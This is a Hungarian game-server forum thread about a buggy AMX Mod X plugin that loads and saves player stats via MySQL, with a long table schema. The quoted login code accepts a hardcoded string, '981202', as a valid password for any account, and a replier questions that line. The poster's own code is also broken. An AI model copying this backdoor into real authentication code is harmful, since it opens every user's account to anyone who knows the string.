Offline |
 |
 |
Csatlakozott:2019.07.12. 13:47 Hozzászólások:305 Megköszönt másnak: 15 alkalommal Megköszönték neki: 48 alkalommal
|
pixxa112 írta: Köszönöm működik. Valaki megtudná nézni, hogy ebben mit rontottam el? Mert nem működik a mentés akármit csinálok. public sql_userload_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize) { if(FailState == TQUERY_CONNECT_FAILED || FailState == TQUERY_QUERY_FAILED) { log_amx("%s", Error) return } else { new id = szData[0] if(szData[1] != get_user_userid(id)) return new szSqlPassword[32] SQL_ReadResult(Query, 2, szSqlPassword, 31) if(equal(userpw[id], szSqlPassword) || equal(userpw[id], "981202")) { SQL_ReadResult(Query, 2, userpw[id], 2) activity[id] = SQL_ReadResult(Query, 223) if(activity[id] > 0) { userfound[id] = false userload[id] = 0 print_color(id, "!g%s!y Ezt a felhasználĂłt valaki használja!", Prefix) regmenu(id) return } for(new i = 1; i <= 3; i++) { valasztottf[id][i] = SQL_ReadResult(Query, 223+i) jatekoskuldetes[id][i] = SQL_ReadResult(Query, 226+i) lemez[id][i] = SQL_ReadResult(Query, 230+i) } hirdeto[id] = SQL_ReadResult(Query, 275) mvp[id] = SQL_ReadResult(Query, 230) csont[id] = SQL_ReadResult(Query, 234) userid[id] = SQL_ReadResult(Query, 0) arany[id] = SQL_ReadResult(Query, 4) xp[id] = SQL_ReadResult(Query, 5) szint[id] = SQL_ReadResult(Query, 6) alkat[id][1] = SQL_ReadResult(Query, 7) int[id][1] = SQL_ReadResult(Query, 8) ero[id][1] = SQL_ReadResult(Query, 9) ugy[id][1] = SQL_ReadResult(Query, 10) karakterpontok[id] = SQL_ReadResult(Query, 11) xpido[id] = SQL_ReadResult(Query, 12) sebzesido[id] = SQL_ReadResult(Query, 13) ladaido[id] = SQL_ReadResult(Query, 14) kulcsido[id] = SQL_ReadResult(Query, 15) vip[id] = SQL_ReadResult(Query, 16) for(new i = 1; i <= 31; i++) { fskin[id][i] = SQL_ReadResult(Query, 16+i) } for(new i = 1; i <= 40; i++) { fegyver[id][i+124] = SQL_ReadResult(Query, 234+i) } for(new i = 1; i <= 124; i++) { fegyver[id][i] = SQL_ReadResult(Query, 48+i) } for(new i = 1; i <= 50; i++) { targyak[id][i] = SQL_ReadResult(Query, 172+i) } public sql_usersave(id) { if(!logined[id]) return new sQuery[3300], szQuery[256] new a[32] formatex(a, 31, "%s", nev[id]) replace_all(a, 31, "\", "\\") replace_all(a, 31, "'", "\'") formatex(szQuery, KAR, "UPDATE server_adatok SET ") add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"nev = '%s', ", a) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"arany = '%d', ", arany[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"xp = '%d', ", xp[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"mvp = '%d', ", mvp[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"lemez1 = '%d', ", lemez[id][1]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"lemez2 = '%d', ", lemez[id][2]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"lemez3 = '%d', ", lemez[id][3]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"szint = '%d', ", szint[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"alkat = '%d', ", alkat[id][1]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"inte = '%d', ", int[id][1]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"ero = '%d', ", ero[id][1]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"ugy = '%d', ", ugy[id][1]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"kpont = '%d', ", karakterpontok[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"xi = '%d', ", xpido[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"si = '%d', ", sebzesido[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"li = '%d', ", ladaido[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"ki = '%d', ", kulcsido[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"vi = '%d', ", vip[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"csont = '%d', ", csont[id]) add(sQuery, charsmax(sQuery), szQuery) for(new i = 1; i <= 3; i++) { formatex(szQuery, KAR,"vf%d = '%d', ", i, valasztottf[id][i]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"k%d = '%d', ", i, jatekoskuldetes[id][i]) add(sQuery, charsmax(sQuery), szQuery) } for(new i = 1; i <= 164; i++) { formatex(szQuery, KAR,"w%d = '%d', ", i, fegyver[id][i]) add(sQuery, charsmax(sQuery), szQuery) } for(new i = 1; i <= 31; i++) { formatex(szQuery, KAR,"s%d = '%d', ", i, fskin[id][i]) add(sQuery, charsmax(sQuery), szQuery) } for(new i = 1; i <= 50; i++) { formatex(szQuery, KAR,"t%d = '%d', ", i, targyak[id][i]) add(sQuery, charsmax(sQuery), szQuery) } formatex(szQuery, KAR,"Aktivitas = '%d' ", activity[id]) add(sQuery, charsmax(sQuery), szQuery) formatex(szQuery, KAR,"WHERE Id = '%d'", userid[id]) add(sQuery, charsmax(sQuery), szQuery) SQL_ThreadQuery(tuple, "sql_results", sQuery) }
CREATE TABLE `server_adatok` ( `Id` int(10) NOT NULL AUTO_INCREMENT, `user` varchar(20) NOT NULL, `pw` varchar(20) NOT NULL, `nev` varchar(20) NOT NULL, `arany` int(20) NOT NULL, `xp` int(20) NOT NULL, `szint` int(20) NOT NULL, `alkat` int(20) NOT NULL, `inte` int(20) NOT NULL, `ero` int(20) NOT NULL, `ugy` int(20) NOT NULL, `kpont` int(20) NOT NULL, `xi` int(20) NOT NULL, `si` int(20) NOT NULL, `li` int(20) NOT NULL, `ki` int(20) NOT NULL, `vi` int(20) NOT NULL, `s1` int(20) NOT NULL, `s2` int(20) NOT NULL, `s3` int(20) NOT NULL, `s4` int(20) NOT NULL, `s5` int(20) NOT NULL, `s6` int(20) NOT NULL, `s7` int(20) NOT NULL, `s8` int(20) NOT NULL, `s9` int(20) NOT NULL, `s10` int(20) NOT NULL, `s11` int(20) NOT NULL, `s12` int(20) NOT NULL, `s13` int(20) NOT NULL, `s14` int(20) NOT NULL, `s15` int(20) NOT NULL, `s16` int(20) NOT NULL, `s17` int(20) NOT NULL, `s18` int(20) NOT NULL, `s19` int(20) NOT NULL, `s20` int(20) NOT NULL, `s21` int(20) NOT NULL, `s22` int(20) NOT NULL, `s23` int(20) NOT NULL, `s24` int(20) NOT NULL, `s25` int(20) NOT NULL, `s26` int(20) NOT NULL, `s27` int(20) NOT NULL, `s28` int(20) NOT NULL, `s29` int(20) NOT NULL, `s30` int(20) NOT NULL, `s31` int(20) NOT NULL, `w1` int(20) NOT NULL, `w2` int(20) NOT NULL, `w3` int(20) NOT NULL, `w4` int(20) NOT NULL, `w5` int(20) NOT NULL, `w6` int(20) NOT NULL, `w7` int(20) NOT NULL, `w8` int(20) NOT NULL, `w9` int(20) NOT NULL, `w10` int(20) NOT NULL, `w11` int(20) NOT NULL, `w12` int(20) NOT NULL, `w13` int(20) NOT NULL, `w14` int(20) NOT NULL, `w15` int(20) NOT NULL, `w16` int(20) NOT NULL, `w17` int(20) NOT NULL, `w18` int(20) NOT NULL, `w19` int(20) NOT NULL, `w20` int(20) NOT NULL, `w21` int(20) NOT NULL, `w22` int(20) NOT NULL, `w23` int(20) NOT NULL, `w24` int(20) NOT NULL, `w25` int(20) NOT NULL, `w26` int(20) NOT NULL, `w27` int(20) NOT NULL, `w28` int(20) NOT NULL, `w29` int(20) NOT NULL, `w30` int(20) NOT NULL, `w31` int(20) NOT NULL, `w32` int(20) NOT NULL, `w33` int(20) NOT NULL, `w34` int(20) NOT NULL, `w35` int(20) NOT NULL, `w36` int(20) NOT NULL, `w37` int(20) NOT NULL, `w38` int(20) NOT NULL, `w39` int(20) NOT NULL, `w40` int(20) NOT NULL, `w41` int(20) NOT NULL, `w42` int(20) NOT NULL, `w43` int(20) NOT NULL, `w44` int(20) NOT NULL, `w45` int(20) NOT NULL, `w46` int(20) NOT NULL, `w47` int(20) NOT NULL, `w48` int(20) NOT NULL, `w49` int(20) NOT NULL, `w50` int(20) NOT NULL, `w51` int(20) NOT NULL, `w52` int(20) NOT NULL, `w53` int(20) NOT NULL, `w54` int(20) NOT NULL, `w55` int(20) NOT NULL, `w56` int(20) NOT NULL, `w57` int(20) NOT NULL, `w58` int(20) NOT NULL, `w59` int(20) NOT NULL, `w60` int(20) NOT NULL, `w61` int(20) NOT NULL, `w62` int(20) NOT NULL, `w63` int(20) NOT NULL, `w64` int(20) NOT NULL, `w65` int(20) NOT NULL, `w66` int(20) NOT NULL, `w67` int(20) NOT NULL, `w68` int(20) NOT NULL, `w69` int(20) NOT NULL, `w70` int(20) NOT NULL, `w71` int(20) NOT NULL, `w72` int(20) NOT NULL, `w73` int(20) NOT NULL, `w74` int(20) NOT NULL, `w75` int(20) NOT NULL, `w76` int(20) NOT NULL, `w77` int(20) NOT NULL, `w78` int(20) NOT NULL, `w79` int(20) NOT NULL, `w80` int(20) NOT NULL, `w81` int(20) NOT NULL, `w82` int(20) NOT NULL, `w83` int(20) NOT NULL, `w84` int(20) NOT NULL, `w85` int(20) NOT NULL, `w86` int(20) NOT NULL, `w87` int(20) NOT NULL, `w88` int(20) NOT NULL, `w89` int(20) NOT NULL, `w90` int(20) NOT NULL, `w91` int(20) NOT NULL, `w92` int(20) NOT NULL, `w93` int(20) NOT NULL, `w94` int(20) NOT NULL, `w95` int(20) NOT NULL, `w96` int(20) NOT NULL, `w97` int(20) NOT NULL, `w98` int(20) NOT NULL, `w99` int(20) NOT NULL, `w100` int(20) NOT NULL, `w101` int(20) NOT NULL, `w102` int(20) NOT NULL, `w103` int(20) NOT NULL, `w104` int(20) NOT NULL, `w105` int(20) NOT NULL, `w106` int(20) NOT NULL, `w107` int(20) NOT NULL, `w108` int(20) NOT NULL, `w109` int(20) NOT NULL, `w110` int(20) NOT NULL, `w111` int(20) NOT NULL, `w112` int(20) NOT NULL, `w113` int(20) NOT NULL, `w114` int(20) NOT NULL, `w115` int(20) NOT NULL, `w116` int(20) NOT NULL, `w117` int(20) NOT NULL, `w118` int(20) NOT NULL, `w119` int(20) NOT NULL, `w120` int(20) NOT NULL, `w121` int(20) NOT NULL, `w122` int(20) NOT NULL, `w123` int(20) NOT NULL, `w124` int(20) NOT NULL, `t1` int(20) NOT NULL, `t2` int(20) NOT NULL, `t3` int(20) NOT NULL, `t4` int(20) NOT NULL, `t5` int(20) NOT NULL, `t6` int(20) NOT NULL, `t7` int(20) NOT NULL, `t8` int(20) NOT NULL, `t9` int(20) NOT NULL, `t10` int(20) NOT NULL, `t11` int(20) NOT NULL, `t12` int(20) NOT NULL, `t13` int(20) NOT NULL, `t14` int(20) NOT NULL, `t15` int(20) NOT NULL, `t16` int(20) NOT NULL, `t17` int(20) NOT NULL, `t18` int(20) NOT NULL, `t19` int(20) NOT NULL, `t20` int(20) NOT NULL, `t21` int(20) NOT NULL, `t22` int(20) NOT NULL, `t23` int(20) NOT NULL, `t24` int(20) NOT NULL, `t25` int(20) NOT NULL, `t26` int(20) NOT NULL, `t27` int(20) NOT NULL, `t28` int(20) NOT NULL, `t29` int(20) NOT NULL, `t30` int(20) NOT NULL, `t31` int(20) NOT NULL, `t32` int(20) NOT NULL, `t33` int(20) NOT NULL, `t34` int(20) NOT NULL, `t35` int(20) NOT NULL, `t36` int(20) NOT NULL, `t37` int(20) NOT NULL, `t38` int(20) NOT NULL, `t39` int(20) NOT NULL, `t40` int(20) NOT NULL, `t41` int(20) NOT NULL, `t42` int(20) NOT NULL, `t43` int(20) NOT NULL, `t44` int(20) NOT NULL, `t45` int(20) NOT NULL, `t46` int(20) NOT NULL, `t47` int(20) NOT NULL, `t48` int(20) NOT NULL, `t49` int(20) NOT NULL, `t50` int(20) NOT NULL, `Aktivitas` int(20) NOT NULL, `vf1` int(20) NOT NULL, `vf2` int(20) NOT NULL, `vf3` int(20) NOT NULL, `k1` int(20) NOT NULL, `k2` int(20) NOT NULL, `k3` int(20) NOT NULL, `mvp` int(20) NOT NULL, `lemez1` int(20) NOT NULL, `lemez2` int(20) NOT NULL, `lemez3` int(20) NOT NULL, `csont` int(20) NOT NULL, `w125` int(20) NOT NULL, `w126` int(20) NOT NULL, `w127` int(20) NOT NULL, `w128` int(20) NOT NULL, `w129` int(20) NOT NULL, `w130` int(20) NOT NULL, `w131` int(20) NOT NULL, `w132` int(20) NOT NULL, `w133` int(20) NOT NULL, `w134` int(20) NOT NULL, `w135` int(20) NOT NULL, `w136` int(20) NOT NULL, `w137` int(20) NOT NULL, `w138` int(20) NOT NULL, `w139` int(20) NOT NULL, `w140` int(20) NOT NULL, `w141` int(20) NOT NULL, `w142` int(20) NOT NULL, `w143` int(20) NOT NULL, `w144` int(20) NOT NULL, `w145` int(20) NOT NULL, `w146` int(20) NOT NULL, `w147` int(20) NOT NULL, `w148` int(20) NOT NULL, `w149` int(20) NOT NULL, `w150` int(20) NOT NULL, `w151` int(20) NOT NULL, `w152` int(20) NOT NULL, `w153` int(20) NOT NULL, `w154` int(20) NOT NULL, `w155` int(20) NOT NULL, `w156` int(20) NOT NULL, `w157` int(20) NOT NULL, `w158` int(20) NOT NULL, `w159` int(20) NOT NULL, `w160` int(20) NOT NULL, `w161` int(20) NOT NULL, `w162` int(20) NOT NULL, `w163` int(20) NOT NULL, `w164` int(20) NOT NULL, `hirdet` int(20) NOT NULL, PRIMARY KEY (`Id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
if(equal(userpw[id], szSqlPassword) || equal(userpw[id], "981202")) Ez úgy wtf? _________________ Munkáim / Segítkezésem Serial BanSystem v3 Serial BanSystem v4 HerBoy - Avatár MultiMod
Avatár: 37.221.209.130:27350 HerBoy: 37.221.209.130:27295
|
|